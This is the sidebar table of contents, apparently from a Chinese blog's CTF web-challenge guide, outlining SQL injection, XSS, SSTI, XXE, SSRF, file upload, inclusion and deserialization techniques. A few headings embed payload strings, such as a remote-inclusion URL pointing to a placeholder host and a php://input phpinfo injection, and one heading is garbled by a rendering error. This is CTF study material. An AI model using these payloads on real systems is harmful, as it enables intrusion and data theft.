href="#t113">过滤逗号</a></li><li><a href="#t114">过滤hex</a></li><li><a href="#t115">过滤substr</a></li><li><a href="#t116">编码绕过</a></li><li><a href="#t117">等价函数或变量</a></li><li><a href="#t118">生僻函数</a></li><li><a href="#t119">\N绕过</a></li><li><a href="#t120">PCRE绕过</a></li></ol></li><li><a href="#t121">sqlmap</a></li><li class="sub-box"><ol><li><a href="#t122">基本步骤</a></li><li><a href="#t123">常用参数</a></li><li><a href="#t124">读写文件</a></li><li><a href="#t125">waf</a></li></ol></li><li><a href="#t126">其他</a></li><li class="sub-box"><ol><li><a href="#t127">注意站库分离</a></li><li><a href="#t128">base64注入</a></li><li><a href="#t129">二次解码注入</a></li><li><a href="#t130">插入admin’or’1</a></li><li><a href="#t131">宽字节注入</a></li><li><a href="#t132">OOB</a></li><li><a href="#t133">dns外带注入</a></li><li><a href="#t134">SQL注入工具:jsql-injection/</a></li><li><a href="#t135">总结文章</a></li></ol></li></ol></li><li><a href="#t136">XSS</a></li><li class="sub-box"><ol><li><a href="#t137">导图</a></li><li><a href="#t138">常用的XSS攻击手段和目的</a></li><li><a href="#t139">分类</a></li><li class="sub-box"><ol><li><a href="#t140">反射型</a></li><li><a href="#t141">存储型</a></li><li><a href="#t142">DOM型</a></li></ol></li><li><a href="#t143">无任何过滤情况下</a></li><li><a href="#t144">有过滤的情况下</a></li><li class="sub-box"><ol><li><a href="#t145">过滤空格</a></li><li><a href="#t146">过滤关键字</a></li><li><a href="#t147">过滤双引号,单引号</a></li><li><a href="#t148">过滤括号</a></li><li><a href="#t149">过滤url地址</a></li></ol></li></ol></li><li><a href="#t150">SSTI</a></li><li class="sub-box"><ol><li><a href="#t151">模板和对应利用方法</a></li><li><a href="#t152">基础</a></li><li><a href="#t153">利用和绕过</a></li><li class="sub-box"><ol><li><a href="#t154">正常无过滤</a></li><li><a href="#t155">过滤了.</a></li><li><a href="#t156">过滤_</a></li><li><a href="#t157">过滤’request[request.’</a></li><li><a href="#t158">过滤了单双引号(request绕过)</a></li><li><a href="#t159">过滤关键字</a></li><li><a href="#t160">过滤了[ ]</a></li><li><a href="#t161">过滤了{{ }}</a></li><li><a href="#t162">过滤了 " ’ arg []</a></li><li><a href="#t163">过滤了 " ’ arg [] _</a></li><li><a href="#t164">过滤了 " ’ arg [] _ os</a></li><li><a href="#t165">过滤了 " ’ arg [] _ os {{ }}</a></li><li><a href="#t166">过滤了 " ’ arg [] _ os {{ }} request</a></li><li><a href="#t167">过滤了 " ’ arg [] _ os {{ }} 数字</a></li><li><a href="#t168">过滤了 " ’ arg [] _ os {{ }} 数字 print</a></li></ol></li><li><a href="#t169">其他</a></li><li class="sub-box"><ol><li><a href="#t170">获取chr函数</a></li><li><a href="#t171">获取字符串</a></li><li><a href="#t172">特殊读文件</a></li></ol></li><li><a href="#t173">脚本</a></li></ol></li><li><a href="#t174">XXE</a></li><li class="sub-box"><ol><li><a href="#t175">基础</a></li><li class="sub-box"><ol><li><a href="#t176">XML</a></li><li><a href="#t177">DTD</a></li><li><a href="#t178">外部实体</a></li><li><a href="#t179">外部参数实体</a></li></ol></li><li><a href="#t180">XXE</a></li><li class="sub-box"><ol><li><a href="#t181">任意文件读取</a></li><li><a href="#t182">内网探测</a></li><li><a href="#t183">RCE</a></li><li><a href="#t184">DOS</a></li></ol></li><li><a href="#t185">绕过</a></li><li class="sub-box"><ol><li><a href="#t186">ENTITY``SYSTEM``file等关键词被过滤</a></li><li><a href="#t187">data://协议绕过</a></li><li><a href="#t188">file://协议加文件上传</a></li><li><a href="#t189">php://filter协议加文件上传</a></li></ol></li><li><a href="#t190">利用</a></li><li class="sub-box"><ol><li><a href="#t191">svg</a></li><li><a href="#t192">excel</a></li></ol></li></ol></li><li><a href="#t193">CSRF // TODO</a></li><li><a href="#t194">SSRF</a></li><li class="sub-box"><ol><li><a href="#t195">基础</a></li><li><a href="#t196">应用</a></li><li><a href="#t197">相关函数和类</a></li><li class="sub-box"><ol><li><a href="#t198">file_get_contents()</a></li><li><a href="#t199">readfile()</a></li><li><a href="#t200">fsockopen()</a></li><li><a href="#t201">curl_exec()</a></li><li><a href="#t202">SoapClient</a></li><li><a href="#t203">SSRF漏洞利用的相关协议</a></li></ol></li><li><a href="#t204">常见利用方式</a></li><li class="sub-box"><ol><li><a href="#t205">读取内网文件(file协议)</a></li><li><a href="#t206">探测内网主机存活(http/s协议)</a></li><li><a href="#t207">扫描内网端口(http/s和dict协议)</a></li></ol></li><li><a href="#t208">相关绕过姿势</a></li><li class="sub-box"><ol><li><a href="#t209">利用HTTP基本身份认证的方式绕过</a></li><li><a href="#t210">利用302跳转绕过内网IP</a></li><li><a href="#t211">进制的转换绕过内网IP</a></li><li><a href="#t212">其他各种指向127.0.0.1的地址</a></li><li><a href="#t213">利用不存在的协议头绕过指定的协议头</a></li><li><a href="#t214">利用URL的解析问题</a></li></ol></li><li><a href="#t215">常见攻击方式(Gopher协议)</a></li><li class="sub-box"><ol><li><a href="#t216">Gopher协议在SSRF中的利用</a></li><li><a href="#t217">[2020 科来杯初赛]Web1</a></li></ol></li><li><a href="#t218">攻击内网Redis</a></li><li class="sub-box"><ol><li><a href="#t219">绝对路径写WebShell</a></li><li><a href="#t220">写SSH公钥</a></li><li><a href="#t221">创建计划任务反弹Shell</a></li></ol></li><li><a href="#t222">攻击内网FastCGI</a></li><li class="sub-box"><ol><li><a href="#t223">php-fpm</a></li><li><a href="#t224">使用fcgi_exp工具攻击</a></li><li><a href="#t225">使用Gopherus工具攻击</a></li></ol></li><li><a href="#t226">攻击内网MySql</a></li><li><a href="#t227">Ending…</a></li></ol></li><li><a href="#t228">文件上传</a></li><li class="sub-box"><ol><li><a href="#t229">前端JS验证</a></li><li class="sub-box"><ol><li><a href="#t230">删除/禁用/修改js</a></li><li><a href="#t231">抓包修改:1.jpg改为1.php</a></li></ol></li><li><a href="#t232">内容检查</a></li><li><a href="#t233">黑名单</a></li><li class="sub-box"><ol><li><a href="#t234">解析漏洞</a></li><li><a href="#t235">常规方式</a></li></ol></li><li><a href="#t236">白名单</a></li><li class="sub-box"><ol><li><a href="#t237">MIME types 验证</a></li><li><a href="#t238">图片马</a></li><li><a href="#t239">截断</a></li></ol></li><li><a href="#t240">其他</a></li><li class="sub-box"><ol><li><a href="#t241">注意负载均衡:条件竞争!</a></li><li><a href="#t242">远程下载文件绕过</a></li><li><a href="#t243">文件包含</a></li><li><a href="#t244">HTTP请求填充垃圾数据绕过</a></li><li><a href="#t245">WAF专题</a></li></ol></li></ol></li><li><a href="#t246">文件包含</a></li><li class="sub-box"><ol><li><a href="#t247">基础</a></li><li class="sub-box"><ol><li><a href="#t248">reuqire():在包含的过程中有错,比如文件不存在等,则会直接退出,不执行后续语句</a></li><li><a href="#t249">include() :如果出错的话,只会提出警告,会继续执行后续语句</a></li><li><a href="#t250">require_once() / include_once() :如果一个文件已经被包含过了,则 require_once() 和 include_once() 则不会再包含它,以避免函数重定义或变量重赋值等问题</a></li><li><a href="#t251">利用这四个函数来包含文件时,不管文件是什么类型(图片、文本等),都会直接作为php文件进行解析</a></li></ol></li><li><a href="#t252">本地文件包含</a></li><li class="sub-box"><ol><li><a href="#t253">字典</a></li><li><a href="#t254">php://input:?file=php://input & POST: <? phpinfo();?></a></li><li><a href="#t255">php://filter:index.php?file=php://filter/read=convert.base64-encode/resource=flag.php(read=可省略)</a></li><li><a href="#t256">phar://:index.php?file=phar://test.zip/phpinfo.txt(php>=5.3.0)</a></li><li><a href="#t257">zip://:index.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt(php>=5.3.0,%23为#,只能用绝对路径)</a></li><li><a href="#t258">data:URI schema</a></li><li><a href="#t259">包含session</a></li></ol></li><li><a href="#t260">远程文件包含</a></li><li class="sub-box"><ol><li><a href="#t261">利用方式:include.php?file=http://xxx.com/1.txt</a></li></ol></li><li><a href="#t262">特殊方式</a></li><li class="sub-box"><ol><li><a href="#t263">包含日志文件</a></li><li><a href="#t264">SSH log</a></li><li><a href="#t265">包含environ</a></li><li><a href="#t266">包含fd</a></li><li><a href="#t267">包含临时文件</a></li><li><a href="#t268">load data infile</a></li></ol></li><li><a href="#t269">路径获取</a></li><li class="sub-box"><ol><li><a href="#t270">直接获得:通过返回包获取/右键查看地址</a></li><li><a href="#t271">查看源代码或者本地搭建</a></li><li><a href="#t272">根据经验猜测</a></li><li><a href="#t273">分析网站结构</a></li><li><a href="#t274">上传文件保存在另外服务器上</a></li></ol></li><li><a href="#t275">绕过</a></li><li class="sub-box"><ol><li><a href="#t276">目录遍历:…/</a></li><li><a href="#t277">指定后缀</a></li><li><a href="#t278">特殊姿势</a></li></ol></li></ol></li><li><a href="#t279">反序列化</a></li><li class="sub-box"><ol><li><a href="#t280">PHP</a></li><li><a href="#t281">Java</a></li><li><a href="#t282">框架</a></li><li><a href="#t283">Python</a></li><li><a href="#t284">其他</a></li></ol></li><li><a href="#t285">其他</a></li><li class="sub-box"><ol><li><a href="#t286">Clickjacking(点击劫持)</a></li><li><a href="#t287">HEREDOC</a></li><li><a href="#t288">JSPFUCK</a></li><li><a href="#t289">Web Assembly</a></li><li><a href="#t290">整数溢出</a></li><li><a href="#t291">Hash长度拓展攻击</a></li></ol></li><li><a href="#t292">代码审计(PHP)</a></li><li class="sub-box"><ol><li><a href="#t293">XSS</a></li><li class="sub-box"><ol><li><a href="#t294">print()</a></li><li><a href="#t295">printr()</a></li><li><a href="#t296">echo</a></li><li><a href="#t297">printf()</a></li><li><a href="#t298">sprintf()</a></li><li><a href="#t299">die()</a></li><li><a href="#t300">var_dump()</a></li><li><a href="#t301">var_export()</a></li></ol></li><li><a href="#t302">代码执行</a></li><li class="sub-box"><ol><li><a href="#t303">函数</a></li><li><a href="#t304">过滤与bypass</a></li></ol></li><li><a href="#t305">文件包含</a></li><li class="sub-box"><ol><li><a href="#t306">include()</a></li><li><a href="#t307">include_once()</a></li><li><a href="#t308">require()</a></li><li><a href="#t309">require_once()</a></li></ol></li><li><a href="#t310">文件读取(下载)</a></li><li class="sub-box"><ol><li><a href="#t311">file_get_contents()</a></li><li><a href="#t312">highlight_file()</a></li><li><a href="#t313">fopen()</a></li><li><a href="#t314">readfile()</a></li><li><a href="#t315">fread()</a></li><li><a href="#t316">fgetss()</a></li><li><a href="#t317">fgets()</a></li><li><a href="#t318">parse_ini_file()</a></li><li><a href="#t319">show_source()</a></li><li><a href="#t320">file()</a></li><li><a href="#t321">sort()比较鸡肋</a></li></ol></li><li><a href="#t322">命令执行</a></li><li class="sub-box"><ol><li><a href="#t323">相关函数</a></li><li><a href="#t324">过滤与bypass</a></li></ol></li><li><a href="#t325">文件上传</a></li><li class="sub-box"><ol><li><a href="#t326">move_uploaded_file()</a></li></ol></li><li><a href="#t327">文件删除</a></li><li class="sub-box"><ol><li><a href="#t328">unlink()</a></li><li><a href="#t329">session_destroy()(老版本)</a></li></ol></li><li><a href="#t330">变量覆盖</a></li><li class="sub-box"><ol><li><a href="#t331">extract()</a></li><li><a href="#t332">parse_str</a></li><li><a href="#t333">import_request_variables()</a></li><li><a href="#t334">for each($_GET as
k
e
y
=
>
key=>
key=>value) KaTeX parse error: Expected '}', got 'EOF' at end of input: {key}=$value</a></li><li><a href="#t335">register_globals</a></li></ol></li><li><a href="#t336">弱类型比较</a></li><li class="sub-box"><ol><li><a href="#t337">、=、!==、!=</a></li><li><a href="#t338">is_numeric</a></li><li><a href="#t339">in_array</a></li><li><a href="#t340">弱不相等却md5值相等的情况</a></li></ol></li><li><a href="#t341">PHP黑魔法</a></li><li class="sub-box"><ol><li><a href="#t342">md5</a></li><li><a href="#t343">eval</a></li><li><a href="#t344">ereg</a></li><li><a href="#t345">strcmp</a></li><li><a href="#t346">ascii</a></li><li><a href="#t347">curl_setopt</a></li><li><a href="#t348">preg_replace</a></li><li><a href="#t349">urldecode</a></li><li><a href="#t350">include</a></li><li><a href="#t351">__wakeup</a></li><li><a href="#t352">open_basedir</a></li><li><a href="#t353">in_array()</a></li><li><a href="#t354">spl_autoload_register</a></li><li><a href="#t355">create_function()</a></li><li><a href="#t356">file_get_contents</a></li><li><a href="#t357">mt_rand</a></li><li><a href="#t358">sprintf</a></li><li><a href="#t359">parse_url</a></li><li><a href="#t360">preg_match</a></li><li><a href="#t361">intval</a></li><li><a href="#t362">Session绕过</a></li><li><a href="#t363">file_put_contents</a></li><li><a href="#t364">json_encode/decode</a></li><li><a href="#t365">几乎所有的字符串相关函数都不能处理数组,此时会返回NULL,可用于绕过</a></li><li><a href="#t366">未exit(),return()引发的相关问题</a></li><li><a href="#t367">伪静态绕过</a></li></ol></li><li><a href="#t368">变量特性</a></li><li class="sub-box"><ol><li><a href="#t369">ignore_user_abort</a></li><li><a href="#t370">$_SERVER[‘QUERY_STRING’]</a></li><li><a href="#t371">disable_functions</a></li></ol></li><li><a href="#t372">反序列化漏洞</a></li><li class="sub-box"><ol><li><a href="#t373">对各种魔法函数的理解</a></li><li><a href="#t374">pop链的构造</a></li><li><a href="#t375">phar与反序列化</a></li><li><a href="#t376">由于替换引起的反序列化字符串逃逸</a></li><li><a href="#t377">绕过正则</a></li></ol></li><li><a href="#t378">逻辑漏洞</a></li><li class="sub-box"><ol><li><a href="#t379">用户名和密码分开验证</a></li><li><a href="#t380">下单和扣款的先后顺序</a></li></ol></li><li><a href="#t381">技巧相关</a></li><li class="sub-box"><ol><li><a href="#t382">小型代码</a></li><li><a href="#t383">大型代码</a></li></ol></li></ol></li><li><a href="#t384">脚本编写</a></li><li><a href="#t385">Payloads(实战积累)</a></li><li class="sub-box"><ol><li><a href="#t386">XSS</a></li><li><a href="#t387">SQL注入</a></li><li><a href="#t388">SSTI</a></li><li class="sub-box"><ol><li><a href="#t389">Python</a></li><li><a href="#t390">PHP</a></li><li><a href="#t391">Java</a></li></ol></li><li><a href="#t392">CSRF</a></li><li><a href="#t393">XXE</a></li></ol></li><li><a href="#t394">参考</a></li></ol></div>
</div>
</div>
</div>
</div>
</div>
</aside>
<script>
$("a.flexible-btn").click(function(){
$(this).parents('div.aside-box').removeClass('flexible-box');
$(this).parents("p.text-center").remove();
})
</script>
<script type="text/javascript" src="https://g.csdnimg.cn/user-tooltip/2.7/user-tooltip.js"></script>
<script type="text/javascript" src="https://g.csdnimg.cn/user-medal/2.0.0/user-medal.js"></script> </div>
<div class="recommend-right align-items-stretch clearfix" id="rightAside" data-type="recommend">
<aside class="recommend-right_aside">
<div id="recommend-right">
<div class="programmer1Box">
<div id="kp_box_530" data-pid="530"><script defer="" type="text/javascript" id="interactive_js_adcode" src="https://kunpeng-render.csdnimg.cn/publisher/latest/truereachAdRender.js"></script>
<div id="TR-780cc1b5-94d9-11ee-9cea-bf3fc95316dc"></div><img class="pre-img-lasy" data-src="https://kunyu.csdn.net/1.png?p=530&adId=1057732&adBlockFlag=0&a=1057732&c=0&k=最全CTF Web题思路总结(更新ing)&spm=1001.2101.3001.4647&articleId=122903841&d=1&t=3&u=16f811b70e964ed68f5bdee7c62ed8e8" style="display: block;width: 0px;height: 0px;"></div>
</div>
<div class="flex-column aside-box groupfile" id="groupfile" style="display: block; max-height: 295px;">
<div class="groupfile-div" style="max-height: 295px;">
<h3 class="aside-title">目录</h3>
<div class="align-items-stretch group_item">
<div class="pos-box">
<div class="scroll-box">
<div class="toc-box"><ol><li class="active"><a href="#t0">基础</a></li><li class="sub-box"><ol><li><a href="#t1">Flag可能出现的位置</a></li><li class="sub-box"><ol><li><a href="#t2">网页源代码(注意注释)</a></li><li><a href="#t3">数据库中</a></li><li><a href="#t4">phpinfo</a></li><li><a href="#t5">靶机中的文件</a></li><li><a href="#t6">环境变量</a></li><li><a href="#t7">题目要求</a></li></ol></li><li><a href="#t8">指纹识别</a></li><li class="sub-box"><ol><li><a href="#t9">TideFinger/Bscan/Glass/Arjun/Wappalyzer插件</a></li></ol></li><li><a href="#t10">源码和HTTP响应信息</a></li><li class="sub-box"><ol><li><a href="#t11">HTTP响应文</a></li><li><a href="#t12">错误界面(404/302)</a></li><li><a href="#t13">源码泄露</a></li></ol></li><li><a href="#t14">常用一句话</a></li><li class="sub-box"><ol><li><a href="#t15">PHP</a></li><li><a href="#t16">ASP</a></li><li><a href="#t17">ASPX</a></li><li><a href="#t18">JSP</a></li></ol></li><li><a href="#t19">PHP专题</a></li><li class="sub-box"><ol><li><a href="#t20">基础</a></li><li><a href="#t21">MD5/SHA1 绕过 // TODO</a></li><li><a href="#t22">弱类型</a></li><li><a href="#t23">正则式:/e可执行,构造越界 // TODO</a></li><li><a href="#t24">变量覆盖</a></li><li><a href="#t25">其他</a></li></ol></li></ol></li><li><a href="#t26">命令执行</a></li><li class="sub-box"><ol><li><a href="#t27">相关函数</a></li><li class="sub-box"><ol><li><a href="#t28">命令执行</a></li><li><a href="#t29">代码注入</a></li></ol></li><li><a href="#t30">绕过方式</a></li><li class="sub-box"><ol><li><a href="#t31">空格</a></li><li><a href="#t32">命令分隔符</a></li><li><a href="#t33">关键字</a></li><li><a href="#t34">限制长度</a></li><li><a href="#t35">限制回显</a></li><li><a href="#t36">无字母、数字getshell</a></li></ol></li></ol></li><li><a href="#t37">容器和框架漏洞</a></li><li class="sub-box"><ol><li><a href="#t38">Nginx</a></li><li><a href="#t39">IIS</a></li><li class="sub-box"><ol><li><a href="#t40">PUT上传漏洞</a></li><li><a href="#t41">远程溢出漏洞</a></li><li><a href="#t42">短文件漏洞</a></li></ol></li><li><a href="#t43">Apache</a></li><li class="sub-box"><ol><li><a href="#t44">HTTP组件提权 CVE-2019-0211</a></li><li><a href="#t45">CGI</a></li></ol></li><li><a href="#t46">PHP</a></li><li class="sub-box"><ol><li><a href="#t47">ThinkPHP</a></li><li><a href="#t48">Discuz</a></li><li><a href="#t49">Twig</a></li><li><a href="#t50">WordPress</a></li><li><a href="#t51">Laravel</a></li><li><a href="#t52">Smarty</a></li></ol></li><li><a href="#t53">Java</a></li><li class="sub-box"><ol><li><a href="#t54">Struts2</a></li><li><a href="#t55">Spring框架</a></li><li><a href="#t56">反序列化</a></li><li><a href="#t57">JRMP安全性问题</a></li></ol></li><li><a href="#t58">JWT攻击</a></li><li class="sub-box"><ol><li><a href="#t59">敏感信息泄露</a></li><li><a href="#t60">将算法修改为none</a></li><li><a href="#t61">密钥混淆攻击</a></li><li><a href="#t62">无效签名</a></li><li><a href="#t63">暴力破解密钥</a></li><li><a href="#t64">密钥泄露</a></li><li><a href="#t65">操纵KID</a></li><li><a href="#t66">操纵头部参数</a></li></ol></li><li><a href="#t67">JavaScript</a></li><li class="sub-box"><ol><li><a href="#t68">SSJI(服务端JavaScript注入)</a></li><li><a href="#t69">JavaScript Prototype 污染攻击</a></li></ol></li><li><a href="#t70">Python</a></li><li class="sub-box"><ol><li><a href="#t71">沙箱逃逸</a></li><li><a href="#t72">框架</a></li><li><a href="#t73">反序列化漏洞</a></li></ol></li><li><a href="#t74">Ruby</a></li><li class="sub-box"><ol><li><a href="#t75">ERB模板注入</a></li></ol></li></ol></li><li><a href="#t76">SQL注入</a></li><li class="sub-box"><ol><li><a href="#t77">原理</a></li><li class="sub-box"><ol><li><a href="#t78">用户输入的内容传到web应用,没有经过过滤或者严格的过滤,被带入到了数据库中进行执行</a></li></ol></li><li><a href="#t79">分类</a></li><li class="sub-box"><ol><li><a href="#t80">联合注入</a></li><li><a href="#t81">报错注入</a></li><li><a href="#t82">布尔盲注</a></li><li><a href="#t83">时间盲注</a></li><li><a href="#t84">堆叠注入</a></li><li><a href="#t85">内联注入</a></li><li><a href="#t86">区别</a></li></ol></li><li><a href="#t87">利用点</a></li><li class="sub-box"><ol><li><a href="#t88">select - 四种基本注入</a></li><li><a href="#t89">update- 联合注入不行</a></li><li><a href="#t90">insert - 联合注入不行</a></li><li><a href="#t91">delete - 联合注入不行</a></li><li><a href="#t92">limit之后的注入</a></li><li><a href="#t93">order by之后的注入</a></li><li><a href="#t94">GET</a></li><li><a href="#t95">POST</a></li><li><a href="#t96">HTTP Header</a></li><li><a href="#t97">Cookie</a></li><li><a href="#t98">Referer</a></li><li><a href="#t99">User-Agent</a></li></ol></li><li><a href="#t100">绕过</a></li><li class="sub-box"><ol><li><a href="#t101">过滤and or</a></li><li><a href="#t102">左括号过滤</a></li><li><a href="#t103">右括号过滤</a></li><li><a href="#t104">过滤union\select</a></li><li><a href="#t105">过滤空格</a></li><li><a href="#t106">过滤=</a></li><li><a href="#t107">过滤比较符<></a></li><li><a href="#t108">过滤where</a></li><li><a href="#t109">过滤limit</a></li><li><a href="#t110">过滤group by</a></li><li><a href="#t111">过滤select</a></li><li><a href="#t112">过滤’(单引号)</a></li><li><a href="#t113">过滤逗号</a></li><li><a href="#t114">过滤hex</a></li><li><a href="#t115">过滤substr</a></li><li><a href="#t116">编码绕过</a></li><li><a href="#t117">等价函数或变量</a></li><li><a href="#t118">生僻函数</a></li><li><a href="#t119">\N绕过</a></li><li><a href="#t120">PCRE绕过</a></li></ol></li><li><a href="#t121">sqlmap</a></li><li class="sub-box"><ol><li><a href="#t122">基本步骤</a></li><li><a href="#t123">常用参数</a></li><li><a href="#t124">读写文件</a></li><li><a href="#t125">waf</a></li></ol></li><li><a href="#t126">其他</a></li><li class="sub-box"><ol><li><a href="#t127">注意站库分离</a></li><li><a href="#t128">base64注入</a></li><li><a href="#t129">二次解码注入</a></li><li><a href="#t130">插入admin’or’1</a></li><li><a href="#t131">宽字节注入</a></li><li><a href="#t132">OOB</a></li><li><a href="#t133">dns外带注入</a></li><li><a href="#t134">SQL注入工具:jsql-injection/</a></li><li><a href="#t135">总结文章</a></li></ol></li></ol></li><li><a href="#t136">XSS</a></li><li class="sub-box"><ol><li><a href="#t137">导图</a></li><li><a href="#t138">常用的XSS攻击手段和目的</a></li><li><a href="#t139">分类</a></li><li class="sub-box"><ol><li><a href="#t140">反射型</a></li><li><a href="#t141">存储型</a></li><li><a href="#t142">DOM型</a></li></ol></li><li><a href="#t143">无任何过滤情况下</a></li><li><a href="#t144">有过滤的情况下</a></li><li class="sub-box"><ol><li><a href="#t145">过滤空格</a></li><li><a href="#t146">过滤关键字</a></li><li><a href="#t147">过滤双引号,单引号</a></li><li><a href="#t148">过滤括号</a></li><li><a href="#t149">过滤url地址</a></li></ol></li></ol></li><li><a href="#t150">SSTI</a></li><li class="sub-box"><ol><li><a href="#t151">模板和对应利用方法</a></li><li><a href="#t152">基础</a></li><li><a href="#t153">利用和绕过</a></li><li class="sub-box"><ol><li><a href="#t154">正常无过滤</a></li><li><a href="#t155">过滤了.</a></li><li><a href="#t156">过滤_</a></li><li><a href="#t157">过滤’request[request.’</a></li><li><a href="#t158">过滤了单双引号(request绕过)</a></li><li><a href="#t159">过滤关键字</a></li><li><a href="#t160">过滤了[ ]</a></li><li><a href="#t161">过滤了{{ }}</a></li><li><a href="#t162">过滤了 " ’ arg []</a></li><li><a href="#t163">过滤了 " ’ arg [] _</a></li><li><a href="#t164">过滤了 " ’ arg [] _ os</a></li><li><a href="#t165">过滤了 " ’ arg [] _ os {{ }}</a></li><li><a href="#t166">过滤了 " ’ arg [] _ os {{ }} request</a></li><li><a href="#t167">过滤了 " ’ arg [] _ os {{ }} 数字</a></li><li><a href="#t168">过滤了 " ’ arg [] _ os {{ }} 数字 print</a></li></ol></li><li><a href="#t169">其他</a></li><li class="sub-box"><ol><li><a href="#t170">获取chr函数</a></li><li><a href="#t171">获取字符串</a></li><li><a href="#t172">特殊读文件</a></li></ol></li><li><a href="#t173">脚本</a></li></ol></li><li><a href="#t174">XXE</a></li><li class="sub-box"><ol><li><a href="#t175">基础</a></li><li class="sub-box"><ol><li><a href="#t176">XML</a></li><li><a href="#t177">DTD</a></li><li><a href="#t178">外部实体</a></li><li><a href="#t179">外部参数实体</a></li></ol></li><li><a href="#t180">XXE</a></li><li class="sub-box"><ol><li><a href="#t181">任意文件读取</a></li><li><a href="#t182">内网探测</a></li><li><a href="#t183">RCE</a></li><li><a href="#t184">DOS</a></li></ol></li><li><a href="#t185">绕过</a></li><li class="sub-box"><ol><li><a href="#t186">ENTITY``SYSTEM``file等关键词被过滤</a></li><li><a href="#t187">data://协议绕过</a></li><li><a href="#t188">file://协议加文件上传</a></li><li><a href="#t189">php://filter协议加文件上传</a></li></ol></li><li><a href="#t190">利用</a></li><li class="sub-box"><ol><li><a href="#t191">svg</a></li><li><a href="#t192">excel</a></li></ol></li></ol></li><li><a href="#t193">CSRF // TODO</a></li><li><a href="#t194">SSRF</a></li><li class="sub-box"><ol><li><a href="#t195">基础</a></li><li><a href="#t196">应用</a></li><li><a href="#t197">相关函数和类</a></li><li class="sub-box"><ol><li><a href="#t198">file_get_contents()</a></li><li><a href="#t199">readfile()</a></li><li><a href="#t200">fsockopen()</a></li><li><a href="#t201">curl_exec()</a></li><li><a href="#t202">SoapClient</a></li><li><a href="#t203">SSRF漏洞利用的相关协议</a></li></ol></li><li><a href="#t204">常见利用方式</a></li><li class="sub-box"><ol><li><a href="#t205">读取内网文件(file协议)</a></li><li><a href="#t206">探测内网主机存活(http/s协议)</a></li><li><a href="#t207">扫描内网端口(http/s和dict协议)</a></li></ol></li><li><a href="#t208">相关绕过姿势</a></li><li class="sub-box"><ol><li><a href="#t209">利用HTTP基本身份认证的方式绕过</a></li><li><a href="#t210">利用302跳转绕过内网IP</a></li><li><a href="#t211">进制的转换绕过内网IP</a></li><li><a href="#t212">其他各种指向127.0.0.1的地址</a></li><li><a href="#t213">利用不存在的协议头绕过指定的协议头</a></li><li><a href="#t214">利用URL的解析问题</a></li></ol></li><li><a href="#t215">常见攻击方式(Gopher协议)</a></li><li class="sub-box"><ol><li><a href="#t216">Gopher协议在SSRF中的利用</a></li><li><a href="#t217">[2020 科来杯初赛]Web1</a></li></ol></li><li><a href="#t218">攻击内网Redis</a></li><li class="sub-box"><ol><li><a href="#t219">绝对路径写WebShell</a></li><li><a href="#t220">写SSH公钥</a></li><li><a href="#t221">创建计划任务反弹Shell</a></li></ol></li><li><a href="#t222">攻击内网FastCGI</a></li><li class="sub-box"><ol><li><a href="#t223">php-fpm</a></li><li><a href="#t224">使用fcgi_exp工具攻击</a></li><li><a href="#t225">使用Gopherus工具攻击</a></li></ol></li><li><a href="#t226">攻击内网MySql</a></li><li><a href="#t227">Ending…</a></li></ol></li><li><a href="#t228">文件上传</a></li><li class="sub-box"><ol><li><a href="#t229">前端JS验证</a></li><li class="sub-box"><ol><li><a href="#t230">删除/禁用/修改js</a></li><li><a href="#t231">抓包修改:1.jpg改为1.php</a></li></ol></li><li><a href="#t232">内容检查</a></li><li><a href="#t233">黑名单</a></li><li class="sub-box"><ol><li><a href="#t234">解析漏洞</a></li><li><a href="#t235">常规方式</a></li></ol></li><li><a href="#t236">白名单</a></li><li class="sub-box"><ol><li><a href="#t237">MIME types 验证</a></li><li><a href="#t238">图片马</a></li><li><a href="#t239">截断</a></li></ol></li><li><a href="#t240">其他</a></li><li class="sub-box"><ol><li><a href="#t241">注意负载均衡:条件竞争!</a></li><li><a href="#t242">远程下载文件绕过</a></li><li><a href="#t243">文件包含</a></li><li><a href="#t244">HTTP请求填充垃圾数据绕过</a></li><li><a href="#t245">WAF专题</a></li></ol></li></ol></li><li><a href="#t246">文件包含</a></li><li class="sub-box"><ol><li><a href="#t247">基础</a></li><li class="sub-box"><ol><li><a href="#t248">reuqire():在包含的过程中有错,比如文件不存在等,则会直接退出,不执行后续语句</a></li><li><a href="#t249">include() :如果出错的话,只会提出警告,会继续执行后续语句</a></li><li><a href="#t250">require_once() / include_once() :如果一个文件已经被包含过了,则 require_once() 和 include_once() 则不会再包含它,以避免函数重定义或变量重赋值等问题</a></li><li><a href="#t251">利用这四个函数来包含文件时,不管文件是什么类型(图片、文本等),都会直接作为php文件进行解析</a></li></ol></li><li><a href="#t252">本地文件包含</a></li><li class="sub-box"><ol><li><a href="#t253">字典</a></li><li><a href="#t254">php://input:?file=php://input & POST: <? phpinfo();?></a></li><li><a href="#t255">php://filter:index.php?file=php://filter/read=convert.base64-encode/resource=flag.php(read=可省略)</a></li><li><a href="#t256">phar://:index.php?file=phar://test.zip/phpinfo.txt(php>=5.3.0)</a></li><li><a href="#t257">zip://:index.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt(php>=5.3.0,%23为#,只能用绝对路径)</a></li><li><a href="#t258">data:URI schema</a></li><li><a href="#t259">包含session</a></li></ol></li><li><a href="#t260">远程文件包含</a></li><li class="sub-box"><ol><li><a href="#t261">利用方式:include.php?file=http://xxx.com/1.txt</a></li></ol></li><li><a href="#t262">特殊方式</a></li><li class="sub-box"><ol><li><a href="#t263">包含日志文件</a></li><li><a href="#t264">SSH log</a></li><li><a href="#t265">包含environ</a></li><li><a href="#t266">包含fd</a></li><li><a href="#t267">包含临时文件</a></li><li><a href="#t268">load data infile</a></li></ol></li><li><a href="#t269">路径获取</a></li><li class="sub-box"><ol><li><a href="#t270">直接获得:通过返回包获取/右键查看地址</a></li><li><a href="#t271">查看源代码或者本地搭建</a></li><li><a href="#t272">根据经验猜测</a></li><li><a href="#t273">分析网站结构</a></li><li><a href="#t274">上传文件保存在另外服务器上</a></li></ol></li><li><a href="#t275">绕过</a></li><li class="sub-box"><ol><li><a href="#t276">目录遍历:…/</a></li><li><a href="#t277">指定后缀</a></li><li><a href="#t278">特殊姿势</a></li></ol></li></ol></li><li><a href="#t279">反序列化</a></li><li class="sub-box"><ol><li><a href="#t280">PHP</a></li><li><a href="#t281">Java</a></li><li><a href="#t282">框架</a></li><li><a href="#t283">Python</a></li><li><a href="#t284">其他</a></li></ol></li><li><a href="#t285">其他</a></li><li class="sub-box"><ol><li><a href="#t286">Clickjacking(点击劫持)</a></li><li><a 